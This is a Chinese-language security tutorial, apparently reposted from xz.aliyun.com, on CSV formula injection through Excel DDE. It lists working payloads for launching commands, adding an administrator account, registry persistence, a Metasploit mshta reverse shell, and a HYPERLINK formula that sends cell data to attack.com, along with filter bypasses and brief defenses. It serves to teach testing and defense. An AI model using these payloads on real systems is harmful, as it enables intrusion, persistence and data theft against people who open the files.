CSV注入详解
2023-3-9 18:31:0 Author: xz.aliyun.com(查看原文) 阅读量:24 收藏

csv简介

csv全称“Comma-Separated Values”。是一种逗号分隔值格式的文件,是一种用来存储数据的纯文本格式文件。CSV文件由任意数目的记录组成,记录间以某种换行符分隔;每条记录由字段组成,字段间的分隔符是其它字符或字符串。

csv注入

csv注入是一种将包含恶意命令的excel公式插入到可以导出csv或xls等格式的文本中,当在excel中打开csv文件时,文件会转换为excel格式并提供excel公式的执行功能,会造成命令执行问题。

注入原理

  1. excel的一个特性:单元格中的第一个字符是“+、-、@、=”这样的符号时,他会以一个表达式的形式被处理

然而“=”的作用远不止如此,其还可以用来执行代码。不过在这之前,我们需要先了解什么是DDE。

  1. DDE

    动态数据交换(DDE),是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。

    =1+cmd|'/C calc'!A0

利用方式

OS命令执行

OS命令执行是最严重的危害,像上面讲的,既然能谈计算机也能执行绝大部分的命令,如

  • 开启任意应用程序

  • 反弹shell

  • 添加用户

    =cmd|'/C net user test 123456 /add'!A0+<br>=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0
  • 修改注册表

    =cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

反弹shell这里我们需要利用Metasploit生成payload

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.174.129 
msf exploit(windows/misc/hta_server) > exploit

然后将再EXCEL中插入恶意载荷

+1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta
'!A0

信息泄露

利用HyperLink方法,通过诱骗用户点击,将敏感信息以参数形式发送至目标网站

=HYPERLINK("https://attack.com?data="&A1,"click me")

网络钓鱼

既然能将用户数据提交至网站,同理,也能直接访问攻击者注入的钓鱼网站。

=HYPERLINK("https://attack.com?data="&A1,"click me")

也能通过控制浏览器访问钓鱼网站

=1+cmd|'/C   "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0

挖掘思路

  1. 查找、留意系统中是否有到导出为csv或xls格式的利用点。一般存在于信息统计,或者日志导出等地方。
  2. 确定导出的内容可控
    1. 可以在界面可直接进行编辑/新增
    2. 通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入
  3. 如果存在注入点且有过滤,尝试绕过,最后进行OS执行等深入利用。

绕过技巧

  • 在等于号被过滤时,可以通过运算符+-的方式绕过;

    -1+1+cmd |’ /C calc’ !A0
  • 参数处输入以下 Payload,%0A被解析,从而后面的数据跳转到下一行:

    %0A-1+1+cmd|' /C calc'!A0
  • 导出文件为 csv 时,若系统在等号=前加了引号过滤,则可以使用分号绕过,分号可分离前后两部分内容使其分别执行:

    ;-3+3+cmd|' /C calc'!D2
  • 其他常用 Payload:

    @SUM(cmd|'/c calc'!A0)
    =HYPERLINK("https://attact.com")

防御思路

  1. 单元格不以特殊字符开头:+,-,@,=
  2. 禁止导出CSV,XLS格式文件
  3. 黑名单过滤=(-)cmd或=(-)HYPERLINK或=(-)concat等
  4. 还有,在大部分情况下都会弹出Microsoft Office安全提示,只要不点“是”就行了,所以对于平时常规文件的传递中,要尽量为员工做好相关的安全意识培训来做相关的防范。

文章来源: https://xz.aliyun.com/t/12272
如有侵权请联系:admin#unsafe.sh